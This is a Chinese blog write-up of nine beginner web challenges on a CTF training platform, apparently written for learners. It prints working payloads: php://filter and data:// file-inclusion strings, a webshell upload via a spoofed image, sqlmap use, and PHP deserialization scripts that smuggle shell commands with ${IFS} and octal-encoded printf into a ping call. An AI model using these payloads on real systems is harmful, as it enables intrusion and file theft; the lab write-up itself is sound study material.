这篇文章是很久之前写的了,那个时候的攻防世界还是老版的界面,新手区的题就只有几道,接着就是高手区(那个时候的高手区其实有点对新手不咋友好),然后我也忙,所以写着写着就断了;
现在又重新开始更这篇文章了,我小小的看了一下,现在改版后的攻防世界新手区的题不仅变多了,而且难度也适当的提升了一些,最值得关注的就是它新出了一个引导区,这里面的题其实难度也不算太难,但这个区最重要的功能就是“衔接”;
好了,其他的就不多说了,接下来我们就开始看改版后攻防世界的新手区以及引导区的题目分解。
(大家都知道我的文章是一点一点更新的哈,主要是现在毕业了,工作很忙,所以这篇文章我是每天抽空写一点。)
实验环境:
谷歌浏览器
burp以及对应的工具
目录
Training-WWW-Robots
PHP2
unserialize3
ics-06
view_source
easyupload
fileinclude(宜兴网信办)
fileinclude(好多file呀!)
unseping

第一题 Training-WWW-Robots
robots协议:它是一个网站与搜索引擎之间的一种协议,它主要是告诉爬虫它们那些可以爬那些不能爬,但这个协议并不是一个规范,所以就很鸡肋(相当于写出来让别人看看而已,没啥用)。
1.这道题可以开启环境后,其实可以先从题目上判断一下是否与伪君子协议(Robots)有关;
开启环境
2.进入环境后,我们啥都不用想,直接来一个robots.txt,看看网站里面有什么信息;
robots界面
3.我们可以从这里观察到,它上面有一个f10g.php文件不允许我们进入,接下来我们就用好奇的金手指复制一下,然后再将robots.txt替换成f10g.php,进入界面即可得到flag;
得出flag
第二题 PHP2
PHP:一款动态语言!目前的用途没有java广泛
1.我们这道题牵扯到了PHP,所以就需要考虑一下你自己是否学过该语言以及是否能过进行简单的php代码审计,如果不行,额,那你回去学一学吧,我们先进入环境;
进入环境
2.我们进入环境后可以发现这里除了一个英文界面就没有其他的提示(这里英文的意思为:你可以登陆这个网站吗?),但我们从题目中得知,这道题是要进行php代码审计的,既然这里不给源码,那么我们先进phps(php源代码文件)看看有没有;
php源码
3.从这里我们可以看见两个判断条件,第一个判断条件的意思是:如果字符串admin与传过来的参一致,那么就打印not allowed并且退出;第二个判断条件是:如果所传参与admin一致那么就会打印出以下内容,这里看起来差不多,但是注意,第一个判断条件是三个等号,第二个判断条件是两个等号,这有什么区别请自行百度,这里不做过多阐述;这里还有一个urldecode,从这里我们可以发现这里需要我们进行二次url编码(因为我们参数传过去时浏览器会自动进行一次编码,而如果我们只编码一次那么就会导致刚好满足第一个条件,而我们需要满足并执行的是第二个条件,所以我们还需要进行一次url编码),这里需要抓包处理(这样最为直观);
输入数据
二次编码后
得出flag
3.这样一来我们的这道题就结束了,这里唯一的知识点就是php简单的代码审计以及url编码。

第三题 unserialize3
这道题比上一道题难度小小的提升了一下,相信大家都了解过java反序列化,其实php也有反序列化,而这道题就是php反序列化,哈哈,这改版后题是随机排列的,没法,难度上来就解决它;
1.我们从题目上就能得知,unserialize是一个php中用于反序列化的函数,那么这道题考的就是反序列化,我们先进入环境看看源码是啥;
进入环境
2.这道题咋说呢,就是全部讲完有点麻烦,各位可以自行搜索一下php序列化与反序列化函数那些,这里我们只需要注意一个函数——_wakeup()即可,这个函数有可以进行绕过,而绕过的方法就是输入的对象属性个数大于真实个数即可,这里因为之前释放操作系统后导致我现在没有php运行环境了,所以用的是在线运行;对了这里是用的code传参哈,别看了半天没看出来是谁传参就闹笑话了;
源码及运行结果
结果
3.这道题到这里就结束了,唯一考点就是php序列化与反序列化,然后一点点的编程罢了。

第四题 ics-06
这道题很简单,额,真正的送分题,都不用怎么讲,直接跑ID就可以了,但是这里因为我第一反应是注入,所以刚刚也拿注入做了一下,发现也能做出来,只不过注入出来的flag和跑ID出来的flag不一样,因为交过了所以也无法判断注入出来的是否正确,这里就讲一下sql注入的过程吧;
1.先进入环境,可以发现是一个工控系统的界面;
主界面
2.这里无论你点那里都是这个界面,除了报表中心哪里,进入报表中心后你会发现这里只有一个功能点,就是选择完时间区间后让你点确定(但啥用都没有);
报表中心
3.这里能看见有ID,因为难得手工(主要是太复制而且现在有点晚了,想睡了),所以直接那sqlmap跑就行了,这里我直接给结果图,flag在cyber库中的cyber表中的pw中;
sql注入出来的flag
注:这个flag不知道真假哈!

第五题 view_source
额,这又是一道送分题,我给各位一个建议,你打CTF时多看看源码也不错,说不定出题人意想不到的把flag给注释掉了…
这道题就是直接ctrl+u或者F12即可,没啥讲的,直接上图
flag
第六题 easyupload
这道题按理来说应该是三两下就搞定,结果没想到我连接shell的工具出了问题,一个shell啥都对了就是连不上,唉,就这个问题困了我将近一个小时,后来实在不行直接重装才解决了,这个事提醒我们做题之前先检查自己的工具是否正确…
1.这里看题目就知道是一个简单的文件上传的题,那么必备的工具就是连接shell的工具,这里我用的是蚁剑(当然用中国菜刀也没问题),进入环境后可以发现有一个很明显的上传点;
进入环境
2.这里我开了代理,所以有个头像没出来,这里我们先上传一个文件上去看看有没有对文件类型进行规定;
测试1
3.这里可以看见我上传了一个txt的文件,它成功的说我文件看起来有恶意… 我也不知道我这个小小的文件有啥恶意… 这里我们可以判断出这里对文件后缀是由规定的,结合提醒,ok,我们可以知道这里要么做图片马,要么使用GIF89a进行欺骗,综合复杂程度,这里我就用的是第二种方法,哈哈哈;
4.这里我们需要先写一个ini配置文件上去来抛砖引玉,至于为啥,额,百度去吧,我也记不太清了…
ini文件
注:这里上传时需要抓包然后将Content-Type改成image/jpg
修改文件

5.接着我们再写一个php的一句话木马,然后再以jpg的后缀进行上传,最后连接shell找到flag即可;
在这里插入图片描述
这里需要注意一下,这里它上传上去后的文件,都会转换成index.php,所以这里我们真实连接地址需要在f12中查看,或者直接将a.jpg换成index.php即可
在这里插入图片描述
完成
第七题 fileinclude(宜兴网信办)
这道题有点小小的奇怪,我做的时候步骤和poc都是对的,但是就是出不来结果,结果看了哈官方的wp,一摸一样… 结果它的poc居然能出结果,直接给我干懵逼了……
1.进入环境后可以看到(其实从题目就能明白)是一道文件包含漏洞的题目,一般来说这种第一个想到的就是php:filter……(php伪协议),嗯,这道题也就是用的这个
进入环境
2.这上面有个很好的提醒就是告诉了我们文件路劲(没想到index.php居然和flag在一个路劲),这里先ctrl+u看一下源码;
源码
3.来吧,久违的代码审计,这里对代码不做过多的阐述,想要了解的先去学了php再去了解,这里最重要的是第15行的代码,它让我们知道了这里的切入点是cookie,并且是用language来带参,然后下面的分支结构告诉了我们不满足第一个条件的时候会自动为我们添加后缀(.php),这样一来我们到时候只需要直接输入flag就行了,不用将flag.php完整的输入进去;这里还涉及到了文件包含的一些原理,额,有点多,大家既然都是做CTF的了基础肯定没问题,这里也就不阐述了……;
POC:php://filter/read=convert.base64-encode/resource=/var/www/html/flag(这是官方WP的poc,我自己的和他一样,就是用不了…);
注入
4.这里出来了一个BASE64编码的数据,将他解码就能得到flag了;
得出flag
第八题 fileinclude(好多file呀!)
1.这里也是文件包含漏洞的一道题,只不过切入点不同,额,还多了一个小知识点;
进入环境
2.进入环境后我们可以直接在页面上得到php源码,这里要比上道题的稍微好理解一点,简单来说就是有两个变量是要传参的(file1和file2),这两个变量如果都有参数(非空),那么它将先读取file2的参数是否是“hello ctf”,如果是那么就会执行file1中的参数,这样一来我们就可以利用file1来查看flag,对了,这里flie2传的参要小小的变动一下,要利用URL的部分知识;
file1的参数:file1=php://filter/read=convert.base64-encode/resource=flag.php
file2的参数:file2=data://text/plain,hello%20ctf
得出base64
3.接下来解码就能得出flag了;
得出flag
第九题 unseping
这是一道PHP序列化的题,这道题看起来简单实际上要绕过太多东西了,特别是绕过空格就很让人头疼;这道题最开始没有做出来,因为个人就对反序列化这东西没太理解透,特别是工作后只负责基础渗透。
1.进入环境后,我们能看见久违了的php源码;
进入环境
2.这里我们大概需要重点注意三个地方(其他的都是辅助写payload的),分别是过滤条件、用什么编码方式传参、传参函数;
条件
3.我们了解这些后,就可以先写一个基本脚本来进行破题了,这里的基本脚本是不考虑过滤条件的;

<?php
	class ease{
	private $method;
	private $args;
	function __construct($method, $args) {
    	$this->method = $method;
    	$this->args = $args;
}
}
	$a = new ease("ping",array('ls'));
	$b = serialize($a);
	echo $b;
	echo'</br>';
	echo base64_encode($b);
?>

这里array中的参数就是我们所要执行的命令,然后通过serialize进行序列化(php中反序列化的函数是:unserialize),然后在通过base64_encode来进行base64加密进行传输;
结果
这里可以看见,我们所执行的命令被拦截了下来;
4.这里开始我们就要考虑进行绕过条件了,第一个我们先进行空环境变量的绕过(条件绕过的方式有很多种,这里为了方便就演示一种);

<?php
	class ease{
	private $method;
	private $args;
	function __construct($method, $args) {
	    $this->method = $method;
	    $this->args = $args;
	}
	}
	$a = new ease("ping",array('l""s'));
	$b = serialize($a);
	echo $b;
	echo'</br>';
	echo base64_encode($b);
?>

结果
这里可以看见我们使用双引号绕过后命令执行成功了,并回显出了两个文件,一个是flag***,另一个是index.php,接下来我观察了一下,感觉flag的那个文件有点像文件夹的感觉(实际上是试出来的),这里我们就不浪费时间直接使用对应的命令进行访问;
5.linux中访问文件夹的命令是ls,这里因为需要来个空格,所以我们需要将空格限制给绕过了,就需要用个${IFS};

<?php
	class ease{
	private $method;
	private $args;
	function __construct($method, $args) {
	    $this->method = $method;
	    $this->args = $args;
	}
	}
	$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));
	$b = serialize($a);
	echo $b;
	echo'</br>';
	echo base64_encode($b);
?>

结果
这里我们就能看见,文件夹中还有个叫“flag_831b69012c67b35f.php”的文件,这里才是我们flag真实存放的文件,接下来就是使用对应的方式进行访问就ok了;
6.这里因为有部分字符无法进行常规绕过,所以使用了oct进行绕过(oct编码:将字符编码成8进制),然后再进行传输(这里有两个脚本,一个是python写的,一个是php写的);

#python2.7环境下执行
a = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for h in a:
    b = oct(ord(h))
    b=str(b).replace("0o","")
    arr.append(b)
sym = "\\"
c=sym.join(arr)
print(c)

脚本1

<?php
	class ease{
	private $method;
	private $args;
	function __construct($method, $args) {
	    $this->method = $method;
	    $this->args = $args;
	}
	}
	$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
	$b = serialize($a);
	echo $b;
	echo'</br>';
	echo base64_encode($b);
?>

结果
至此,flag就出来了。

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐